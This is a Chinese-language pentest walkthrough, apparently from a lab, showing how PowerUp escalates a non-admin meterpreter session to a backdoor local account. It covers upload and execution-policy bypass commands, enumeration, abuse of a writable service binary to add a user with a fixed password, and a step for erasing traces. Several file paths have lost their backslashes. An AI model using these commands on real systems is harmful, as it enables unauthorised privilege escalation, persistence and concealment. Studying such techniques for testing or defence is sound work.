记录下PowerUp在实战渗透中的利用
准备环境:
kali linux 攻击机 已获得靶机meterpreter(非管理)权限
win7 靶机 拥有powershell环境
1)Invoke-Allchecks检查
首先上传powerup脚本至目标服务器
meterpreter > upload //var/www/html/PowerSploit/Privesc/PowerUp.ps1 c:
首先设置下shell编码
chcp 65001
使用IEX在内存中加载此脚本,执行Invoke-AllChecks检查漏洞
powershell.exe -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('C:PowerUp.ps1'); Invoke-AllChecks"
也可以在cmd环境导入模块绕过策略执行:
powershell.exe -exec bypass -Command "& {Import-Module c:PowerUp.ps1; Invoke-AllChecks}"
可以看出,Powerup 列出了可能存在问题的所有服务,并在 AbuseFunction 中直接给出了利用方式。
第一部分通过 Get-ServiceUnquoted 模块(利用 windows 的一个逻辑漏洞,即当文件包含空格时,windows API 会解释为两个路径,并将这两个文件同时执行,有些时候可能会造成权限的提升)检测出了有 "Vulnerable Service"、"OmniServ"、"OmniServer"、"OmniServers" 四个服务存在此逻辑漏洞,但是都没有写入权限,所以并不能被我们利用来提权。第二部分通过 Test-ServiceDaclPermission 模块(检查所有可用的服务,并尝试对这些打开的服务进行修改,如果可修改,则存在此漏洞)检测出当前用户可以在 "OmniServers" 服务的目录写入相关联的可执行文件,并且通过这些文件来进行提权。
漏洞利用原理:Windows 系统服务文件在操作系统启动时会加载执行,并且在后台调用可执行文件。比如,JAVA 升级程序,每次重启系统时,JAVA 升级程序会检测 Oracle 网站,是否有新版 JAVA 程序。而类似 JAVA 程序之类的系统服务程序加载时往往都是运行在系统权限上的。所以如果一个低权限的用户对于此类系统服务调用的可执行文件具有可写的权限,那么就可以将其替换成我们的恶意可执行文件,从而随着系统启动服务而获得系统权限。
2)检测可写入权限
这里我们可以使用 icacls(Windows 内建的一个工具,用来检查对有漏洞目录是否有写入的权限)来验证下 PowerUp 脚本检测是否正确,我们先对于检测出来的漏洞目录进行权限的检测
检测此目录是否有可写入的权限
icacls "C:Program FilesWindows Media Playerwmpnetwk.exe"
"Everyone" 用户对这个文件有完全控制权,就是说所有用户都具有全部权限修改这个文件夹。
参数说明:"M" 表示修改,"F" 代表完全控制,"CI" 代表从属容器将继承访问控制项,"OI" 代表从属文件将继承访问控制项。这意味着对该目录有读,写,删除其下的文件,删除该目录下的子目录的权限。
3)提升权限
在这里我们使用 AbuseFunction 那里已经给出的具体操作方式,执行如下命令操作,如下图所示。
powershell -nop -exec bypass IEX(New-Object Net.WebClient).DownloadString('c:/PowerUp.ps1');Install-ServiceBinary -ServiceName 'WMPNetworkSvc' -UserName qing -Password qing123!
之后当管理员运行该服务的时候,则会添加我们的账号。
靶机关机重启
重启以后,系统会自动创建了一个新的用户 qing,密码是 qing123!
4)删除痕迹
powershell -nop -exec bypass IEX(New-Object Net.WebClient).DownloadString('c:/PowerUp.ps1');Restore-ServiceBinary -ServiceName 'WMPNetworkSvc'
恢复
"C:Program FilesWindows Media Playerwmpnetwk.exe.bak"
为
"C:Program FilesWindows Media Playerwmpnetwk.exe"
l 移除备份二进制文件‘
"C:Program FilesWindows Media Playerwmpnetwk.exe.bak"